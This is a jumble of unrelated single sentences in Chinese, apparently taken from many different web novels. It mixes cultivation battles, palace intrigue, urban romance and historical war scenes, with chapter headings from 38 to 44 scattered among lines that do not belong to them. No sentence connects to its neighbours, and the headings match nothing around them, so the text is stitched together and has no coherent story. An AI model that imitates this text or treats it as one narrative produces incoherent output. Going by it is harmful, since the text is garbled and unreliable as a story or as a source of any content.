席曦晨眼神仍然冷漠如冰,蚊子而已,她在森林里不知道喂饱过多少只蚊子,以他的武力,寒气震一震蚊子死光光,哪还能近他身?
“怎么抽这么多烟?公司事情很棘手?”颜萧萧后知后觉发现烟灰缸里那么多烟蒂。
关景天气呼呼地举起拳头似要发怒,却又发不出来,一张俊脸像是茅坑里的石头。
一般参赛的人,实力都是在剑宗级别的,只有少数人能突破到剑皇级别,这样的人都是那种真正意义上的天才,几十年才出一个的那种,将来也必然是佣兵行会的顶梁柱。
那至少在这个时候,长门会需要这么去认真的完成一些相应的事情。
只要自己迟疑上一秒,那只箭便会穿透若馨的心脏,绝无生还的可能。
若馨轻呼一口气,却隐隐有种预感,只怕应宁王这事没这么轻易解决。
第一卷 第38章 到底是谁的订婚宴?
之前他还没有和顾深深正式在一起的时候,确实有资格追求顾眠,如今他早已为人夫,真是不要脸。
符咒如同一支燃着火焰的箭镞,直接穿透了活尸的身体,活尸被巨大的冲击力击倒,在地面上蠕动了几下,竟又颤颤巍巍地重新站了起来。
说完,微微抬起左手,魔气环绕,原本还是人类的手掌,一下子变成一只黑色的魔爪。魔气在魔爪中凝聚,形成一个黑色能量球。
二十七这天早上,请安还没结束,华清宫的宫人来报,容德妃发动了。
可是这帝王的宠爱,实在太过于虚无缥缈了些,重生一世,她不求那个了。
“你刚刚不是问我,知不知道你是谁吗?”头顶响起了一阵略显稚嫩的声音。
三阿哥下意识的咽了一口口水,接着手帕一扔,立即回去刚刚的太师椅上面做好,瞧着像是平日上朝时候的那个诚郡王了。
印天还是低估了它的速度,在刹那间,反手起剑攻击,左手同时出拳。
菠萝给自己打气,像是真的得到了力量般,握刀的手也不再颤抖。
这段时间相处下来,江容屿除了人自恋点,嘴巴坏一点,看着拽一点……其实算是个好相处的人。
“我还以为神灵的残魂有多牛比呢,甚至为此都做出了最坏的打算,没想到,竟然这么的弱,这么的不堪一击。”段尘冷冷注视着这道被禁锢的黑影,冷冷道。
临敌之际,将领挥洒自如,军队如臂使指,这是很多艺术作品中英明将领的形象。
秦风没有想到,今天自己一个无心的举动。竟然在大赵国创造了一个新的流行时尚。当然这是后话了。
从这个角度来看,其实百济比新罗要开放的多,可也正因民族构成复杂,百济诸部就没有新罗人那么团结。
“古圣博,作为古家家老,你难道不好奇我为什么会突然出现在那里,然后攻击你们古家的那些阵法么?”段尘又开口道,虽然对方的年纪比起自己来,要大得多,但是,对于自己的敌人,段尘还是愿意直呼其名。
杨崇孝心中不由得暗暗得意。看来这个丫头虽然嘴皮子厉害。可毕竟是少了一点历练。自己一吓唬马上就镇住她了。接下来就好办了。
几大长老嗡的一声,被震飞了出去,许多同样是半步地瞳境大能的弟子,也被震得凌空飞起,哇的喷吐出鲜血来。
日军已经开始突围了,南边的枪声骤然密集起来,火光冲天,爆炸声也是此起彼伏,城内的也开始乱了起来。
除此之外,还有祈祷之术,膜拜之术,用自己的意念去感应天地之间,各个隐秘的时空,摄取其中的灵气,来洗涤自身,激发自己的潜力。
对于能得到华岳的帮助,高怀远真是可以说喜出望外,等于是捞了个天大的人才,这对他掌控护圣军起到了非常大的助力。
徐元佐回来的时候,非但带了五张只欠签名画押的借条,还有罗振权。
艾伦忽然想起了刚刚离开的莱茵哈特说过他在奥古城的一项重要工作就是贸易,如果他愿意帮忙,这件事或许可以迎刃而解。
反过来说戚继光,几乎达到了武将的巅峰,练了南兵又来练北兵,杀倭寇如切瓜,杀鞑靼也跟割菜一样,真是战无不胜的军神人物。然而徐元佐却知道,这位戚大帅的结果也并不如人意,最终还是逃不掉郁郁而亡的悲惨下场。
唐循子墨又露出了一种楚楚可怜的样子,不过这加斯塔波罗毕竟是我们抓住的,她现在直接来抢这份功劳有些不合适吧。
老怪物不紧不慢,借着圣物虚无,却是正面迎接着叶秋奇的攻击。尽管玄天玉简对魔道压制极大,但对另一件上古之物,却似乎并无奇效。再加上叶秋奇倚仗的最佳利器已经不能使用,俨然,造不成多大的威胁。
这微笑可是并不和善,甚至有些让人胆颤心惊,我竟然又不由自主的向后退了半分。
但是,这会儿再退走显然是不可能了,司阙只能继续在心里不停地咒骂着北院老头的冥顽不灵。
而且局势一旦恶化到可能会发生战争,奥古家族必然开始征兵,那对咫尺之遥的铁松镇影响就会更大。
官方方面,也是对这件事情用了一个听似合理的解释了,以此来消除市民的心中恐慌。这样善良的谎言,也是无奈之举了。
虽然在宫中多年,还挂着一个将军的头衔,但由始至终石守都没有把自己当成一个官,他的骨子里还是一个江湖人。
无殇淡淡开口,右手光芒灿烂,如有神灵沉睡,此刻复苏了,那是掌控轮回的力量。
“不合作就是不合作,没有为什么?送客!”大侠风清扬脸色一沉,手指大门。
“我都提醒过你了,你不是我的对手,你就是不听!”张扬面无表情的说着。
炎天老道几人又商量一阵,交待了炎炙一些重要之事就各自散了。
“不过说起来,这一次还真的要太感谢唐钰兄了,如果没有唐钰兄,那我肯定没有这样的气运。能结交到唐钰兄这样的大能之辈,真是我之幸。”拓拔奎喜形于色,一脸的兴奋,心情大悦。
莫然,疯婆子,钟情,笑问天,聂锋五人,则是随着江庭,一起返回华商剑门。
无论是坐公交车还是出租车那总是不由自己的对不对,到时候我们还得想着去哪里打车,然后到时间了又会想着太晚了会不会没有回去的车了什么的那就太麻烦了,玩的都不尽兴了,所以我提议大家还是自驾比较好。
“怎么?对午餐不满意吗?”林泰忠瞳孔猛然收缩,脸上的坏笑。看起来是那么的欠揍。
第一卷 第39章 刚订婚就跑了
有一天,老流氓和老张“高谈阔论”之后,心血来‘潮’,打算拍一部关于核爆炸的电影,以警示一些执政者和战争狂热分子。
等到他们三人回过神来时,场中已经安静的异常,人们的目光都看向了此时他们所在的位置,不过仍然紧握着武器,随时准备着最终的战斗。
几乎就是将下方涌现而来的极炎力量尽数的给剥离到了结界一丈之外。
“公主息怒,薛大人也是无意的,请公主大人大量”太子适时的出来解围,其实他更想的是可以引起上官灵幽的目光。可惜他失望了,上官灵幽根本没鸟他。
那些仆人听到自家少爷的命令,在看看眼前的两个美人,一个个带着猥琐的表情向上官灵幽而来。
等聂枫把毒火丹收好后,聂枫才看起眼前化蛇的尸体,被取出内丹后,化蛇的尸体已经瘪了下去,如同泄气的皮球。
可是这哈哈大笑之音刚一落下,众人目光之中便是再次出现一道黑‘色’流光,而转眼之间却是见那黑‘色’流光就此在上空之中显现出一道人影出来。
这五年来,刘雪梅经常和叶残雪在一起。两人的感情也十分的深厚,跟亲兄妹几乎没什么区别。而且,刘雪梅对于叶残雪特别的崇拜。
“曾兄说笑了,我们还是商议下如何对付此兽吧。”王林抱拳对着曾浩说道。
“我是认真的,我打算买下这里,而且还是5天之内的时间。”林杰觉得自己是应该‘棒’‘棒’兄弟了,再说同时能完成自己的一个承诺。
“都给本公子灭了”一声威严十足满含杀气的男声从白衣人嘴里而出,而后四名青色长袍男子瞬间闪身而来,一声剑光闪烁,冲闪了的仆人无一幸免,到底不起,脖子上都有了一个深度一样的血痕。
“难道。。。。。。这也是秦王所做不成?”白莲‘花’离得李云飞很近,隐隐约约听到了李云飞的话,然后用不可思议的眼神看着李云飞,这个秦王到底还有多少神奇的事情,能够让人大开眼界的呢?
萧傲父子来到陈一刀的跟前。出声道:“我是萧傲的老爸,很高兴见到你。”萧寒微笑的对陈一刀道。
“既然你觉得不好说的话,还是别说了!”李世民看到自己的这个大儿子,心中不知道是如何滋味,然后轻轻地说道,这下差点让李承乾将自己的舌头咬掉,他怎么也想不到李世民会说出这样的话。
“嗷”一声惊天动地的咆哮声起,天空出现了一条二十来米长的巨蛟,此蛟龙正是陈嘉轮的坐骑火蛟。
正要被拖出门的玉儿听了垂下的眼皮就抬了起来,只是一瞬,但那一眼包含的情感太过复杂,有疑惑,有伤心,更有……一丝幽怨。
“哪有哪有,新娘子这样漂亮,我们可都希望,能亲近新娘子呢,顺便,调戏调戏季总。”顿时,又是笑声。
丰儿听得心中一凛,脸便沉了下来,“怎么,你嫌弃我是服侍人的么?”那双白晰的纤手便僵在了半空处,屋里的气氛一下子紧张了起来。
安卡看着上面叫嚣的士兵后在看看面前坚硬无比的城墙一时想不到办法只好暂时离开这里。
祁晴照办,弄了个密封袋将那男人的头先收空间了,免得影响行动。当然,这人的尸体祁晴也顺手摸了一遍,收走衣服的时候意外发现这人身上居然还有个特殊物品,看起来像个计时器的东西。
“帅吗?”孙权把花递给她,“宿舍玩不方便进去,得辛苦你自己拿了。”腾出手的他伸出右手的中指食指扶了扶眼镜。
路德维希前脚刚要张口, 那个碰了壁的警察一听到这话到场炸了。
陆有希没注意,在她帮村长参谋衣服穿起来是否好看的时候,林景深的两个室友此时也在这里逛,准备买点儿应季的新衣服。
许秦脸上露出一丝嘲讽,手指几乎点到了指挥官重伤的身躯之上,神术律令·死亡,一道黑光射出,将指挥官的生命抹除。
她付给工人们工钱,看了一眼天色,蝗灾即将来临,她也不能让他们在外面过多久留了。
当楚少阳进入通道后,一名早已等候在哪里的老者,立刻将一张地图递给他。
羽翼一颤,穷奇的身体退回原处,利爪在地面上不停的刨动着,他那双凶眸依然盯着金碧之门,似乎非常不甘心。
倘若真的送一些比较好的东西,比如一万块钱,参与人数肯定更加多。
林军着实无奈了,当初他对付天堂娱乐,只不过是处于义愤填膺,可是后来就想着给还回去了,谁曾想到,对方竟然不要了,最后还是落在了他的名下。
江逸猛然皱起了眉头,那蓝色触手,让他似曾相识,钟山离的朋友,雷动,他的神魂,就是这种触手。
渐渐地,随着铺天盖地的舆论导向,京城的气氛正在发生转变,对李家军越来越有利。
然而听到这话,楚少阳心中不禁冷笑,自己都是紫金岛客卿长老了,此人还来介绍自己加入,真是搞笑。
毕竟,姚含嬿喜欢的是夏征,让她天天看着自己跟夏征卿卿我我,甚至亲眼看到两人大婚,这也是个不错的惩罚。
第一卷 第40章 他的故事
秦戈将所熟知的战事理了一遍,最终想到了一个绝好的办法——斩首行动。
看着灵梦和空的战斗,那华丽的弹幕在岩浆伤口飞舞,时不时的还有喷射的火焰阻挡灵梦的移动。这让魔理沙的心随之上下起伏。
两面是全副武装的军队,眼前是紫峰会气势如虹的玄门,一瞬间,长乐帮的千人大惊。
秦戈笑着摇摇头,不说话,伸出手,两只手指对着莫哈德做了一个“v”型。
智能系统探测到慕容潇的“脑电波”,自动计算出此时最适合他的服务,如丝如缕的音乐渐渐在车内飘起,慕容潇抬抬眼皮,并未发出关闭的指令。
慕容潇扫了一眼多顿时放松,如同垮掉一般的戴辉,淡淡地说着,同时令路西法使用探知能力。
东北面,金帐汗国对罗斯的进攻趋于缓和。但寒冬愈发严酷,罗斯人物资准备比不上对方,非战斗损耗更为可怖。伊凡大公也察觉金帐汗国这是在消耗他的实力,可缩减兵力,谁能保证金帐汗国不趁机进犯?
“阿芙蓉膏”生意的负责人,是精通日语的商人孙亲曾。等众人吃好喝好,推出胭脂水粉、卫生纸等商品后,最后他才把“阿芙蓉膏”拿了出来。
“下官明白。”秦飞朝鳌拜献媚的眨着眼,笑道:“大人放心,我一定会写的很精彩。”打了胜仗,秦飞当然要大肆渲染一番,这样在讨好鳌拜的同时,自己也能得到一些好处。
“不要嘛~~”芙兰好像就这么赖在仁榀棣身上不下来了。而好不容易再次和她取的亲密联系的仁榀棣也不可能主动把她推下来,只好任由她挂着。反正以前又不是没有挂过,自己还hold住。
独孤凤不再说话,持杖轻轻一点雪地,身形如闪电般‘射’出,歧晖哈哈一笑,紧追其后,这一老一少的道‘门’两大顶尖高手,转瞬没入大雪纯净无尽的至深处。
“傻孩子,你今天遇到活菩萨了,赶紧收下这些钱,带你娘一起回乡去吧!”店主人笑眯眯的帮劝。
最让黎明纠结的就是修罗了,看现在情况,占领月神关的铁定就是修罗了,两个势力最大的被召唤者,已经摩擦出了火‘花’,估计规则也该纠结了。
“报告,a上校的车辆被击中受伤,现在还在昏迷中,正在抢救,暂时没人肯出去与对方交涉。”对讲机内一个声音解释道。
“如此说来,你还不肯善罢干休了?!”武则天的语气中透出了一股怒气。
吃完饭年晴就回家等康有成去了,杨景行和齐清诺各自开车去酒吧,稍坐一会就离开,因为齐清诺想早点休息。
就在周天麒这声“好”字出口后,擂台上也发出一声剧烈的轰鸣。
薛绍这才动了身,独自一人从点将台上走了下来,仍是不说话,只是走到了队伍中间,一排一排,一列一列的看过去,把每一名士兵都从头到脚打量了一个仔细。
“你是个奇人,也许有一天,你的名字会在大陆流传,真羡慕你的冲劲。”飞龙看着黎明,虽然两人算不上有多深的交情,但是倒也有几分惺惺相惜。
一整天下来,突厥人一连发起了二十多次猛烈进攻,各种的攻城器械也都用上了。在雨水的侵袭之下薛绍的独门火器难以发挥重大作用,但突厥人的猛烈攻势,全都被解琬给硬生生的揍了回去。
当艾伦来到广场的时候,大部分的人都已经到齐,随后又是一个仪式。
“这次那雌雄大盗肯定要栽了,哈哈,这简直就是固若金汤!”周啸虎身后的一位贪狼卫说道。
阿枫望着慕唯的离去,双手握拳着,他要的,便是她的心死,这样,父母便不会对她下手。
陆宣的真元洁白如玉,甫一接触那黑气,当即便化作虚无,显然不是黑气的对手。但是那黑气却好像忽然间凝固了一样,那股凶戾蛮横的气势一扫而空。紧接着,陆宣竟然从那黑气中察觉到了一种复杂难明的情绪。
当然,它们停下脚步不是为了打招呼。那些变异生物全部成为了它们的口粮,连反抗的机会都没有,就被黑夜兽全部吞噬了。
“现在军方要来人的消息,都传遍了。这里的人都在期待军队的早日到来。”那人恭敬的说道。
秦墨禹时常在想,幻城算他的家?还是紫云宗算他的家!可是仔细想一想,便都不算了,此时的他就像无根浮萍,随风飘散。
安语这才意识到,她什么都没有说,而是在幻想中跟陈伟说了这句话。
阴木大长老单臂指着秦远,惊怒交加,一时竟是说不出句囫囵话来。
而剩下的2米外到8米面积是大约180平方米,精神力数量上总共300平方米,无限接近其他7级魔法师的3倍,并且周身2米半径精神感应力强度与8级魔法师相当。
汉布塞里克在这个石碑上面,留下的内容不多,有些话是真的,有些话就完全是在忽悠人。
所有的所有,只是为了告诉我们,珍惜那个和你走到最后的人。同时也感谢那些,爱你、呵护你、理解你的过客,他们随然在你的人生中只是短暂的出现,可是你在他们的人生中却是永恒的存在。
黎七羽不知道该说什么,眼里都是愧疚,这种内疚的感觉逼得她窒息。
“叫你装逼!”赵煜如狼似虎,他的战斗风格与易云飞十分相似,只要占据些许主动,就不会让对手有缓转的机会。他身上的任何部位,都成为了攻击的利器,仿佛有用不完的力气,如同狂风暴雨,丝毫没有停歇的意思。
如果不是过惯了大手大脚的日子,林一猜测她绝对不会这么想要赚钱的。
第一卷 第41章 对付无赖当然要比他更无赖
也就在这时,从玄门武府内走出一行人,这些人的气场非常强大,所过之处,周围之人全部避让。
也不见那黑袍神秘人有什么大动作,直接提着拳头就轰了过来,那拳头上光芒阵阵,那是纯肉体的力量,既然是体修,那么首先拼的就是肉体。
明明说的是真话,白家人怎么就不信呢?而霍青说得是假话,白家人反倒是相信了。韩雄信都想骂娘了,难道说,就因为霍青比自己帅气的缘故?唉,看来,韩家跟蒋家、白家的恩怨是甭想化解了。
“比赛?我记得刚才在楼底下时你说的只是私底下下一盘吧?”黄士铭笑道。
阿墨拉尔的灵魂可以自我封闭起来,拒绝一切外力的干预,但却无法抗拒也不会去抗拒这赐予它灵智的光芒,所以高帅和阿墨拉尔灵魂上的联接转瞬就建立了起来。
摸了摸赤焰狮的头,韩宁骑坐上去,抓着赤焰狮的鬃毛指着竹屋的方向,赤焰狮脚下腾起云雾,如同流星一样冲了出去,韩宁只见空间如同扭曲了一般,下面的景色如同动画闪过。
“走,我跟你说去。”叶慕侠笑着,拍着燕三的肩膀,去另一个房间了。
就见洛巴诺夫的眼睛瞥向谢克列捷娅,一阵灵魂之力的波动传来,他要用灵魂之力像捏死一只蚂蚁一样杀了谢克列捷娅。
既然无缘,她只能祝福他。从此后,她会丢下他,心中只有自己的夫君。希望他也丢开她,莫作无谓的挣扎,那可真不值亦不智了。
乔菀穿得单薄,后背不自觉的佝偻起来。突然抬眼的瞬间,她看到黎子谦的侧脸。
马婆盘膝的坐在一朵云彩上面,笑容温暖又欣慰地看着她,嘴里却说着道别的话。
她心中明白,以自己的实力,在加上整个星风部落,就算拿到这些东西,没有兽王古猿相助,也一样是废铜烂铁。
来自帝都的安布罗西圣殿骑士,和尤因牧师碰了一下酒杯后说道。
脑魔旺财是一个很好的帮手,特别是在附身邓肯之后,它刻意学会了很多处理事务方面的知识。
司鸾知道,今天不满足这个男人的要求,是绝对走不出这个房间了。
被拆穿了心事,战怀柔恼羞成怒,就想抽出鞭子教训这口无遮拦的人。
舒心一边拉着黎娇的双手,一边将她牵到了病房中的布艺沙发上坐下,然后劝道。
片刻间,二人便改了一个模样,俨然就是两个误入魔山的落难凡人。
再回过头来,顾晨风已经系上了围裙,站在了烧烤架旁,拿着刷子熟练的在一串鸡翅上油。
掌声再次热烈的响起,同时现场的鞭炮也放起来了,噼里啪啦的,象征着工程开工顺利。
老神父咀嚼着这句话,下一刻他的眼睛一瞪,只见教堂之前的虚空不断扭曲,一个又一个身影从其中走出。
冷泽凡手下的海贼咽了咽口水,还以为他们这次要扑街了,难不成这些海王类是来帮他们的。
男人捂着额头,呵呵,既然他得了海的眷顾,没有死,那本该属于他的东西,他便要去拿回来。
但她是有原则有大局观的大佬,再累还是要先把外面的事情处理一下。
王洛觉得每次都烦在这里,他们本来就不厉害偏偏要来挑战自己未知的力量,结果被打爆了自己就会莫名其妙地变成最强者。
他在想,是不是应该考虑一下再婚了。毕竟叶子已经离开了,再怎么也回来不了,他总应该给宋雨晴一个交待。
最重要的是新飞豹是一款重型机,并且具备一定的隐身能力,这让巴巴羊心动了。
三人组拥有的股票早过了禁售期,宋亚将最聒噪的罗斯赶出董事会后,其他两个老实了点,但罗斯已经不止一次放话要离开了,而且试图带两个老兄弟一起走人。
“以前跟陈旭在一起,也没有这样夸张过……就……就很离谱……”好不容易缓过劲的辛晴,在说出这句感叹后,不觉陷入了沉默。
冯玉年憋屈地演讲之后,龙厘才被放归班级,不过没有得到英雄的待遇。
只不过西班牙人在之前与海盗们的作战下火药炮弹消耗的差不多了。
今天跟高翔虎鲨两人约定玩游戏,上一次是因为服务器的原因,玩儿得不是很开心,这一次两人下定决心,一定要嗨到不行。
如夫人一夜昏厥十几次,险些以身殉父。彭玉麟久久沒有音信,急坏了曾国藩、急坏了郭嵩焘,也急坏了刘蓉、罗泽南。
慕程的脸色不再如金纸一般,而是白中泛青,双目紧锁,要不是仍有微弱的心跳,可说是全无半点生命迹象。
余温辞把东西扔进垃圾桶里,随手拿过她的包包,淡声道:“走吧”。
可惜对方的劣迹如今都还没发生,倒也找不到借口直接干掉,只能是跟他主子打打嘴炮。
苏云岫又有些疑惑,自家儿子什么尿性她心里最清楚了,为什么这一次这么乖?
敌人一阵慌乱,不少人朝着四周散开,有一些敌人则想着四周的石块堆中躲避子弹。
本来这件事情就与他们无关,只是看在蓝玉的面子才一起参朱桐的。
满天的乌云,好似在夜中一样,天雷闪动,好似两条游龙从天边飞来,在大雨中来回游走。
朱桐看自己的妹妹竟然顶撞朱标,也赶紧让江盼道歉,得罪太子可不是什么好事。
尤其是他还要出城去偷袭,试想一下,万一敌人埋伏在草丛中,等发现的时候,几乎就是面对面了,马克沁能打中敌人,同样的,敌人的弓箭也能把他射成刺猬。
第一卷 第42章 那我们就离婚!
司竹也不知道是谁,她刚要挑帘子出去,有人从门外冲进来,迎春一看,进来的人正是怒气冲冲的孙惠莹。
“死魂石!万年暖玉!”宋明庭忍不住发出一声惊呼。其他人也纷纷看向冥河鬼君体内的那两块玉石,目露震撼。
随着暖流的涌动,陈征脖子以下的部位渐渐的恢复了知觉,先是会胸口,然后是肩膀……一直到手指脚趾都重新回到神经系统的控制下,重新感受到了冰面的寒冷。
要不是凛昏睡不醒,使得一向极疼爱她的秦夫人心里有些难过,秦夫人脸上的笑容会更多几分。
“别乱动!”他紧紧地圈住她的腰,坏了,他的身体竟然起了反应。
亚雷斯塔放倒神像与十字架,将它们塞进了桌子底下,又熄灭烛火,关闭大门,拉上窗帘,挡住了窗外射入的星月之光。
其他人似乎也发现了花子夜的异样,同时抬头顺着花子夜的方向看了过去。当大家看到一个窈窕的身影站在不远处,冲着大家微笑的时候,大家似乎也一下子怔住了。
叶子头一天入学,就被学院的学习安排吸引住了,唯一美中不足的是叶子认为只有琴师,没有其他乐器课程,是有些单调了。
就在四个家族审讯自己儿子的时候,江楠已经站在暴风雨中过去了二十分种。
以前她对甜食并不是很馋,只是心情很差的时候,才会吃一点,来让自己有更多的活力。
突然,只见里面一道灰色的光芒向着众人一闪而来,在众人都完全不知道是什么情况的时候,那灰色的光芒已经消失的陈城的眉间。
直到现在,他遇见了这个玄机道人,才明白,这洪荒之中,真的有这样强绝恐怖的神秘存在。
这些‘花’儿平时都是他亲手照料的,如今正是‘花’开的时候呢。
但现在,明显自己这边是一起的之后,他就报出了这个信息。梁浩闻言,站在堡垒围墙上,直接跑了过去。
“叮”和苏家的老人碰了杯,岳毅咧开嘴自信地笑着仰头把酒水一饮而尽。
毕竟现在的苏氏,经过了岳毅、苏玲璐和梅姐的调整,内部的业务已经发生变化。
他现在能够轻易击杀兵器榜前十的东海玉箫,与东海玉箫实力差不多的漠北刀王。
更加诡异的是,剑泉只是拥有自己的意识,他的身体,却完全不停控制,就好像剑泉只是一个寄生在一个肉体之上,而这个肉体则完全不归属于自己。
因为不想看动画片,筠筠手拿遥控器就换了一个频道,刚好看到一档类似儿童真人秀的节目。
他自踏入修道之路迄今为止已有三千多年,活得越久越懂得珍惜性命的可贵,这也是他们为何一定要回到神州的原因。
到了山脚,我望着高耸入云的山头犯难了,肉眼可见的道观就好几处,也不知那个养猫的男人在哪个道观。
别说是寻常弟子,哪怕是各峰的副掌教,都没有多少次机会能接到蜀山之主的法旨。
眼下苏哲已经成为了地主老财,短时间内,倒也不会为钱财发愁。
数百道精粹剑光似有似无,在周身游走不定,钟神秀一身修为不进反退,直接跌落到了练气层次。
贵族们看着自己趴在座位下,衣着混乱的模样,纷纷相视尴尬一笑,连忙整理衣冠重新坐在座位上,装出一幅若无其事的样子。
这么几年下来,埃里克也时常找各种理由,去同盖里斯切磋武艺,当然那么做的主要原因在于,他可以有个合适的理由公报私仇。
但孙铁心虽不贪恋权利,但掌握铁匠帮立足之本的匠心堂,论之隐形地位,孙铁心才是帮中之首。
于战场上经历无数次生死危机的他深知,在战斗中哪怕只是一毫秒的分神,都会令死亡的阴影悄然而至。
闻言,陆月月一愣,脸上的表情简直不敢相信,她第一次见君寒如此对她说话。
每人每日被挑战次数不得超过十五次!守擂十次必须下台休息一次!”掌门突然宣布了新的宗门规矩。
颜雪看着周茹筠,周茹筠这次做了北啨皇后,再见面也不知何时,还有,牡丹是北啨皇,后宫佳丽三千,周茹筠去了那里,还能一直这么天真吗?
风媚吃了一惊,她刚才这一掌用了七成功力,若是一般的江湖高手,早已经脉断裂,死于非命,为何这个年轻人只是吐了一口血,其反弹之力倒震得她自己手臂发麻。
三少爷这个时候摸了摸放在火炉上的酒,感觉温度差不多了,便将其提了起来,到在杯子里面美美的喝了一口,再加上一块烤肉,那滋味别提多美了。
突破古圣的一刻,张悬就已经明白,已然凌驾到了名师大陆天道之上,成了天地之师。
端墟回到王宫之后,才拜托高解熊代他向僖王传了一个消息,说他已经帮僖王在莽盛城内做完了一件大事,玥阖此次出征厌涂必然会无比轻松。
单晓天这种马上成年,才圣域六重的,可以说几乎注定没太大前途了。
他们是吸血鬼,一旦变身之后,梦魔类似精神控制的影响便会降到最低。
沉闷了许久,一个嘶吼声响起,一位战师再也忍不住,举起手中的长剑就要自杀。
洛七七先他们进入这里,就算他不来,这些菩提果,凭其实力,必然也有其一份。
呜呜呜……悠长深邃的号角,犹如在欢迎巨舰的归来,苍凉而豪迈的声音,令人神情激荡,巡天巨舰缠绕着云层的纠葛,带着一丝阳光,哄然冲进巨城之中。
“龙司寒你……那好吧,我现在去准备!”上官凤谦赌气下去了,反正他再说下去也是白费口舌。
第一卷 第43章 八年暗恋喂了狗
两人自然不敢大意,利用天地之力衍化出两只巨掌,各朝一株圣品药王抓过去,这一切就算圣品药王如何挣脱也不行了。
基准分赛上,看他两轮速拧魔方的成绩,都排第一,并遥遥领先第二名的时候,她发现,这位“雕刻大师”,还有更加神秘和陌生的一面。
程丹坐进去,在她座位旁边是秦丰才,约市华人北区堂口的堂主,凡是在约市北区的华人,都受到秦丰才管辖。
但是,他们的速度远远比不上病毒尖兵,一场你追我赶的捕猎就这样开始了。
辰云疑惑说道:“有什么问题吗?”辰云这上面写的都是从青老那里所得来的需要炼制战斗傀儡的材料。
“见过,可是没见过你这样的身体,老实说,你干这行简直是屈才了!”何曼姿“啧啧”的道。
萧天阳回过头,夏涵正满脸不舍的看着他,俏丽的面庞一片凄苦,眼圈红红的,里面蓄满了泪水。这一刹那,萧天阳突然有把她揽在怀里的冲动!
如果用工房和结界之类的限制他,别说士郎那糟糕的魔术造诣了,就算是艾伯纳的工房,也是分分钟被他打破,这个英灵的强度着实过于破格。不同英灵有不同用法,吕布就是那种,采用灵活的机动战的英灵。
甚至擅长探矿的[水晶之龙]阿克丽丝,拥有的财宝,现在也不见得有他手上的多。
而鼠勇和鼠猛却没有恢复能力这么强的神通,哪怕他们身为大能,但在伤势恢复上,比林若风要差了很多。
两股不同的元气轰击在一起,发出一声可怕的轰鸣之声,强大的冲击力下,林若风的身体,晃动了一下。
夏梦说不出话,昨日因,今日果。她生意上若是不太急迫,心情若能平稳,跟丈夫那个阶段的感情是最稳定的时候。
殷储为李叶苏探脉,说没有大碍,只是情绪波动大,只要好好休息便可。
脸上没有太多的表情,或者,现在,她已经望了去渲染任何的表情了,。
其中有一个还是雄壮的男子,走到了方雪舞的面前嬉笑的问着,只是那眼中却满是杀意。
“我没想过得到他的爱,我只想能见到他就足够了!”虞适离苦笑道。
“哥哥是不会对你做这种事的。”话音落下后,他低头吻住了欢颜的唇。
原来,主人早已陨落,他所感知的一切,都是主人为了应对大劫的布局。
靖王殿下的话,谁都不敢无视,既然他那么说,谁都不敢提出异议,就算明知道他在说谎,在没有证据的情况下,他也不敢再乱说什么了。
晃了晃脑袋,有没有希望还是要跟王敏聊了之后才知道,与其现在乱想还不如早点去德娅餐厅跟王敏见面。
招招毙命,剑剑染血,不是很高大的身影,挡在段锦睿前方十米处,却稳若磐石,不让一个刺客越雷霆一步,明明是血色浸染,明明是杀戮迷茫,轻灵的身影,将这一切的一切,渲染成一场优雅的舞蹈,一场杀戮的盛宴。
“丁师弟,在新城注意防范,以防不测,其他人回去准备一下,明天出发”,李烨命令道。
“无妨,某知道,就是因为别人不要的某才要”,李烨也不会跟慕容弘振解释什么。
只是,接下來却只见得太子斟酒的动作一顿,摇了摇头,接着回了句话,唇只是动了一下,声音更是低不可闻,除了皇帝也许便只有坐在皇帝右侧下手的皇贵妃听到了。
“雷兄弟先在这休息一下,等会我再来知会你。”叶泰宁说完,众人退了出去,随手将房门带上。
“哼,本少爷回来再跟你们这两个贱人算账!”何九不再罗嗦,飞身奔出晟王府。
‘嗙!!’黄白之物贱了一地,这鬼兄弟连惨叫都来不及喊出来就死了。
曾经何时,他不过是和我同等级的存在。比鲁斯心中遐想起来。。
“看來你又想喝中药了是吧。”云昔也不生气,她把酸梅汤往我面前一放,声音平平道。
这里是人家的地盘,还要在这儿玩点刺激的,搞不好被人家堵住,出不去了,还玩什么刺激不刺激的了。
杨柳儿还真的有点不想跟他们上课了,这皇帝爱面子爱得天下无敌,不过为了陆晓歌的幸福着想,她还是沉住气继续讲下去。
“谁,是谁!”杜枫感觉到这是人为的,他连忙将杨柳儿在自己后。
本来自己的父亲出事,沈晚晴已经很是烦躁了,压抑了一下午,工作都没心思,这下徐青墨也来和她作对。
冯爱娟也懒得解释,只是装作没听见,拉着魏丽丽便去了一家餐厅,不过心里却在想着那件事,尽管也不算是坏事,只是到底心里还是有些慌慌的,不知道回事一个怎样的结果?
天罡四门的人还在四处找袁梦他们呢,而袁梦他们现在已经飞去龙江市了。
“娘亲,不知道为什么,这里怪怪的。”景言指着自己的胯下说。
远方的虚空传来一声剧烈炸响,无边无边的黑雾从四面八方凝聚于上空,宛如世界步入了终点,黑暗遮天,一片末日之景。
第一卷 第44章 她是你嫂子!
可想而知,这种能力在战斗中能发挥出多大的作用?他自然也不可能得到沃特公司的青睐。
说实话,鲁鲁修本是不想这样做的,可谁叫那枪实在是太危险了呢,毕竟,他的生命值已经不多了。
季秋裳没想到对方演戏演的这么真,要不是知道他们之间的关系,还真以为傅总拈酸吃醋。
卿清荷看看他,她也不认识牌子,所以表现得很平常。她也不会要姜凌给她买衣服,但是看得出姜凌现在在装,所以她什么也没说。
整个「神路玩家论坛」所有昨天看到那三条帖子的人都认为秦殇死定了,而尹公子早晨的那条负荆请罪帖,虽然透露出了几分秦殇还活着那个味道。
御空五重,君寒实力不仅比他们低,甚至人族的体魄,通常情况下是比不上同等级妖兽的。
谁能想到,堂堂皇商,大梁第一首富,竟然也会偷听自己儿子墙角。
然后就是闪烁的随机性和不可控制性,一共就几米的距离,他都能出现超过三分之一的误差。
从教学楼到校门口的一路,种满了梧桐树。碧空如洗,阳光穿透梧桐枝叶,映照下斑驳的树影。
姜凌老脸一红,出门,又返回来拿了一件衬衣,在张贵安暧昧的笑容中下去了。
对于她而言,金尚胤的实力级别,已经超出了她这个年龄段所在的范畴。也只有她的父辈,才可以与其平等对话。
“原来是这样子。”杨延宗也算是明白为何林涛一而再地收集他的血液,原来并非打处利用荒虫体质的用意。
然而为什么这么说?那是因为你有神兵在手,越界杀人,不是难事。
饶是以云素语的心性,听了庭儿刻意加重的特意两个字也忍不住红了耳根。
到了陆风这倒好,爱搭不理的,没有事的话绝对不会主动去问候这个福哥,佛系十足。
